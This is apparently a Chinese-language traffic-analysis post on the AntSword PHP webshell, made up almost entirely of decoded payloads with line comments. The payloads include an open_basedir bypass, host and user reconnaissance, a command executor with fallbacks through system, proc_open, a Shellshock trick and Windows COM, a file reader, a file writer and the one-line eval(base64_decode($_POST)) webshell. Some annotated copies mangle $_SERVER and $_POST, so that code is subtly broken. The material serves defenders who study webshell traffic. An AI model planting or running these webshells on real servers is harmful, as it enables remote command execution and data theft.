蚁剑PHP木马流量分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111

<?php
// 设置错误显示为0，禁止错误信息输出
@ini_set("display_errors", "0");
// 设置脚本的最大执行时间为无限制
@set_time_limit(0);

// 获取PHP的open_basedir限制
$opdir = @ini_get("open_basedir");

// 如果open_basedir设置了限制
if ($opdir) {
    // 获取当前脚本的目录
    $ocwd = dirname($SERVER["SCRIPT_FILENAME"]);
    // 将open_basedir中的路径按斜杠分割成数组
    $oparr = preg_split(base64_decode("Lzt8Oi8="), $opdir);
    // 将当前目录和临时目录添加到路径数组中
    @array_push($oparr, $ocwd, sys_get_temp_dir());

    // 遍历每个路径项
    foreach ($oparr as $item) {
        // 如果该路径不可写，继续下一个
        if (!@is_writable($item)) {
            continue;
        }

        // 创建一个名为.7dfe3003a的目录
        $tmdir = $item . "/.7dfe3003a";
        @mkdir($tmdir);

        // 如果目录未创建成功，继续下一个
        if (!@file_exists($tmdir)) {
            continue;
        }

        // 获取真实路径
        $tmdir = realpath($tmdir);
        // 切换到新创建的目录
        @chdir($tmdir);
        // 修改open_basedir为上级目录
        @ini_set("open_basedir", "..");

        // 将目录路径分割为数组
        $cntarr = @preg_split("#\\\\|//#", $tmdir);
        // 返回到上级目录的层级
        for ($i = 0; $i < sizeof($cntarr); $i++) {
            @chdir("..");
        }

        // 恢复open_basedir为根目录
        @ini_set("open_basedir", "/");
        // 删除创建的目录
        @rmdir($tmdir);
        break; // 找到可用的路径后，退出循环
    }
}

// 函数：返回未加密的输出
function asenc($out) {
    return $out;
}

// 函数：获取并输出当前的PHP环境信息
function asoutput() {
    // 获取输出缓冲区的内容
    $output = ob_get_contents();
    ob_end_clean(); // 清空缓冲区
    echo "f5fff" . "ec646"; // 输出固定字符串
    echo @asenc($output); // 输出内容
    echo "1eb1" . "5451"; // 输出固定字符串
}

// 开始输出缓冲
ob_start();
try {
    // 获取当前脚本所在目录
    $D = dirname($SERVER["SCRIPT_FILENAME"]);
    // 如果目录为空，则尝试获取PATH_TRANSLATED目录
    if ($D == "") {
        $D = dirname($SERVER["PATH_TRANSLATED"]);
    }

    // 初始化返回路径变量
    $R = "{$D}\t";
    // 如果目录不以'/'开头，检查可用的磁盘驱动器
    if (substr($D, 0, 1) != "/") {
        foreach (range("C", "Z") as $L) {
            if (is_dir("{$L}:")) {
                $R .= "{$L}:";
            }
        }
    } else {
        $R .= "/";
    }

    $R .= "\t"; // 添加制表符
    // 获取当前用户信息
    $u = (function_exists("posix_getegid")) ? @posix_getpwuid(@posix_geteuid()) : "";
    $s = ($u) ? $u["name"] : @get_current_user();
    // 获取系统信息并构建返回字符串
    $R .= php_uname();
    $R .= "\t{$s}"; // 添加当前用户名称
    echo $R; // 输出最终信息
} catch (Exception $e) {
    // 捕获异常并输出错误信息
    echo "ERROR:// " . $e->getMessage();
}

// 调用输出函数并结束脚本
asoutput();
die();

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178

<?php
@ini_set("display_errors", "0"); // 禁用错误显示
@set_time_limit(0); // 取消脚本的最大执行时间
$opdir = @ini_get("open_basedir"); // 获取 open_basedir 的设置

// 如果 open_basedir 被设置
if ($opdir) {
    $ocwd = dirname($SERVER["SCRIPT_FILENAME"]); // 获取当前脚本的目录
    // 将 open_basedir 字符串按路径分割
    $oparr = preg_split(base64_decode("Lzt8Oi8="), $opdir);
    @array_push($oparr, $ocwd, sys_get_temp_dir()); // 将当前目录和临时目录添加到数组

    // 遍历路径数组
    foreach ($oparr as $item) {
        // 如果路径不可写，跳过
        if (!@is_writable($item)) {
            continue;
        }
        // 创建一个新的目录
        $tmdir = $item . "/.2f32f1";
        @mkdir($tmdir); // 尝试创建目录
        // 如果目录创建失败，跳过
        if (!@file_exists($tmdir)) {
            continue;
        }
        $tmdir = realpath($tmdir); // 获取目录的绝对路径
        @chdir($tmdir); // 切换当前工作目录
        @ini_set("open_basedir", ".."); // 设置 open_basedir 以允许访问上层目录
        $cntarr = @preg_split("#/\\\\|//#", $tmdir); // 分割目录路径
        // 向上切换目录
        for ($i = 0; $i < sizeof($cntarr); $i++) {
            @chdir("..");
        }
        @ini_set("open_basedir", "/"); // 恢复 open_basedir 设置
        @rmdir($tmdir); // 删除创建的临时目录
        break; // 只处理一个路径后退出
    }
}

// 编码和输出相关的函数
function asenc($out) {
    return $out; // 直接返回输出
}

function asoutput() {
    $output = ob_get_contents(); // 获取输出缓冲区的内容
    ob_end_clean(); // 清空输出缓冲区
    echo "d58" . "35c2"; // 输出前缀
    echo @asenc($output); // 输出处理后的内容
    echo "12e" . "8995"; // 输出后缀
}

// 开始输出缓冲
ob_start();
try {
    // 解码 POST 数据
    $p = base64_decode(substr($POST["xb0849d56f9f22"], 2));
    $s = base64_decode(substr($POST["g901d4a8935157"], 2));
    $envstr = @base64_decode(substr($POST["b23a17e8a00b5f"], 2));
    $d = dirname($SERVER["SCRIPT_FILENAME"]); // 当前脚本目录
    // 根据操作系统构建命令参数
    $c = substr($d, 0, 1) == "/" ? "-c \"$s\"" : "/c \"$s\"";

    // 设置环境变量 PATH
    if (substr($d, 0, 1) == "/") {
        @putenv("PATH=" . getenv("PATH") . ":/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin");
    } else {
        @putenv("PATH=" . getenv("PATH") . ";C:/Windows/system32;C:/Windows/SysWOW64;C:/Windows;C:/Windows/System32/WindowsPowerShell/v1.0/;");
    }

    // 如果环境字符串不为空，设置环境变量
    if (!empty($envstr)) {
        $envarr = explode("|||askey|||", $envstr);
        foreach ($envarr as $v) {
            if (!empty($v)) {
                @putenv(str_replace("|||askey|||", "=", $v)); // 设置每个环境变量
            }
        }
    }

    $r = "{$p} {$c}"; // 构建要执行的命令

    // 检查函数是否可用
    function fe($f) {
        $d = explode(",", @ini_get("disable_functions")); // 获取禁用函数列表
        if (empty($d)) {
            $d = array();
        } else {
            $d = array_map('trim', array_map('strtolower', $d)); // 规范化禁用函数列表
        }
        // 检查函数是否存在且可调用
        return (function_exists($f) && is_callable($f) && !in_array($f, $d));
    }

    // 检查 shellshock 漏洞
    function runshellshock($d, $c) {
        if (substr($d, 0, 1) == "/" && fe('putenv') && (fe('error_log') || fe('mail'))) {
            if (strstr(readlink("/bin/sh"), "bash") != FALSE) { // 检查是否为 bash
                $tmp = tempnam(sys_get_temp_dir(), 'as'); // 创建临时文件
                putenv("PHP_LOL=() { x; };$c > $tmp 2>&1"); // 设置环境变量并执行命令
                if (fe('error_log')) {
                    error_log("a", 1); // 使用 error_log 记录输出
                } else {
                    mail("a@127.0.0.1", "", "", "-bv"); // 通过邮件记录输出
                }
            } else {
                return False; // 不是 bash 返回 False
            }
            $output = @file_get_contents($tmp); // 获取命令输出
            @unlink($tmp); // 删除临时文件
            if ($output != "") {
                print($output); // 输出结果
                return True; // 执行成功
            }
        }
        return False; // 执行失败
    }

    // 执行系统命令的函数
    function runcmd($c) {
        $ret = 0; // 返回值
        $d = dirname($SERVER["SCRIPT_FILENAME"]); // 当前脚本目录
        if (fe('system')) {
            @system($c, $ret); // 使用 system 执行命令
        } elseif (fe('passthru')) {
            @passthru($c, $ret); // 使用 passthru 执行命令
        } elseif (fe('shell_exec')) {
            print(@shell_exec($c)); // 使用 shell_exec 执行命令
        } elseif (fe('exec')) {
            @exec($c, $o, $ret); // 使用 exec 执行命令
            print(join("\n", $o)); // 输出结果
        } elseif (fe('popen')) {
            $fp = @popen($c, 'r'); // 使用 popen 打开进程
            while (!@feof($fp)) {
                print(@fgets($fp, 2048)); // 逐行读取输出
            }
            @pclose($fp); // 关闭进程
        } elseif (fe('proc_open')) {
            $p = @proc_open($c, array(1 => array('pipe', 'w'), 2 => array('pipe', 'w')), $io); // 使用 proc_open 打开进程
            // 读取标准输出
            while (!@feof($io[1])) {
                print(@fgets($io[1], 2048));
            }
            // 读取标准错误
            while (!@feof($io[2])) {
                print(@fgets($io[2], 2048));
            }
            @fclose($io[1]); // 关闭标准输出
            @fclose($io[2]); // 关闭标准错误
            @proc_close($p); // 关闭进程
        } elseif (fe('antsystem')) {
            @antsystem($c); // 执行 antsystem
        } elseif (runshellshock($d, $c)) {
            return $ret; // 如果成功运行 shellshock，返回
        } elseif (substr($d, 0, 1) != "/" && @class_exists("COM")) { // Windows 环境
            $w = new COM('WScript.shell'); // 创建 COM 对象
            $e = $w->exec($c); // 执行命令
            $so = $e->StdOut(); // 获取标准输出
            $ret .= $so->ReadAll(); // 读取输出
            $se = $e->StdErr(); // 获取标准错误
            $ret .= $se->ReadAll(); // 读取错误
            print($ret); // 输出结果
        } else {
            $ret = 127; // 返回 127 表示命令未找到
        }
        return $ret; // 返回执行结果
    }

    // 执行命令并获取返回值
    $ret = @runcmd($r . " 2>&1"); // 捕获标准错误输出
    print($ret != 0) ? "ret={$ret}" : ""; // 如果返回值不为 0，输出返回值
} catch (Exception $e) {
    echo "ERROR://".$e->getMessage(); // 捕获异常并输出错误信息
}

// 最后调用 asoutput 函数输出结果
asoutput(); // 输出缓存内容并结束脚本
die(); // 终止脚本执行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52

<?php @ini_set("display_errors", "0");
@set_time_limit(0);
$opdir = @ini_get("open_basedir");
if ($opdir) {
    $ocwd = dirname($_SERVER["SCRIPT_FILENAME"]);
    $oparr = preg_split(base64_decode("Lzt8Oi8="), $opdir);
    @array_push($oparr, $ocwd, sys_get_temp_dir());
    foreach ($oparr as $item) {
        if (!@is_writable($item)) {
            continue;
        };
        $tmdir = $item . "/.91b54fbc279";
        @mkdir($tmdir);
        if (!@file_exists($tmdir)) {
            continue;
        }
        $tmdir = realpath($tmdir);
        @chdir($tmdir);
        @ini_set("open_basedir", "..");
        $cntarr = @preg_split("/\\\\|\//", $tmdir);
        for ($i = 0; $i < sizeof($cntarr); $i++) {
            @chdir("..");
        };
        @ini_set("open_basedir", "/");
        @rmdir($tmdir);
        break;
    };
};;
function asenc($out)
{
    return $out;
};
function asoutput()
{
    $output = ob_get_contents();
    ob_end_clean();
    echo "8d2" . "446";
    echo @asenc($output);
    echo "28b9" . "c4fd5";
}
ob_start();
try {
    $F = base64_decode(substr($_POST["t375ea9d8483d"], 2));
    $P = @fopen($F, "r");
    echo (@fread($P, filesize($F) ? filesize($F) : 4096));
    @fclose($P);;
} catch (Exception $e) {
    echo "ERROR://" . $e->getMessage();
};
asoutput();
die();

1
2
3
4
5
6
7
8
9
10
11

try {
    $f = base64_decode(substr($_POST["yb6f4c93941b6a"], 2));
    $c = $_POST["z7e3c896d9613e"];
    $c = str_replace("\r", "", $c);
    $c = str_replace("\n", "", $c);
    $buf = "";
    for ($i = 0; $i < strlen($c); $i += 2) $buf .= urldecode("%" . substr($c, $i, 2));
    echo (@fwrite(fopen($f, "a"), $buf) ? "1" : "0");;
} catch (Exception $e) {
    echo "ERROR://" . $e->getMessage();
};

1

<?php @eval(@base64_decode($_POST['la49b27c2d7398']));

1

@ini_set("display_errors", "0");@set_time_limit(0);$opdir=@ini_get("open_basedir");if($opdir) {$ocwd=dirname($_SERVER["SCRIPT_FILENAME"]);$oparr=preg_split(base64_decode("Lzt8Oi8="),$opdir);@array_push($oparr,$ocwd,sys_get_temp_dir());foreach($oparr as $item) {if(!@is_writable($item)){continue;};$tmdir=$item."/.c2a05da4320f";@mkdir($tmdir);if(!@file_exists($tmdir)){continue;}$tmdir=realpath($tmdir);@chdir($tmdir);@ini_set("open_basedir", "..");$cntarr=@preg_split("/\\\\|\//",$tmdir);for($i=0;$i<sizeof($cntarr);$i++){@chdir("..");};@ini_set("open_basedir","/");@rmdir($tmdir);break;};};;function asenc($out){return $out;};function asoutput(){$output=ob_get_contents();ob_end_clean();echo "86d4c"."36b17";echo @asenc($output);echo "f48b3"."386ca9";}ob_start();try{$D=dirname($_SERVER["SCRIPT_FILENAME"]);if($D=="")$D=dirname($_SERVER["PATH_TRANSLATED"]);$R="{$D}	";if(substr($D,0,1)!="/"){foreach(range("C","Z")as $L)if(is_dir("{$L}:"))$R.="{$L}:";}else{$R.="/";}$R.="	";$u=(function_exists("posix_getegid"))?@posix_getpwuid(@posix_geteuid()):"";$s=($u)?$u["name"]:@get_current_user();$R.=php_uname();$R.="	{$s}";echo $R;;}catch(Exception $e){echo "ERROR://".$e->getMessage();};asoutput();die();

1

@eval(@base64_decode($_POST['r9bbc0bcf6c32a']));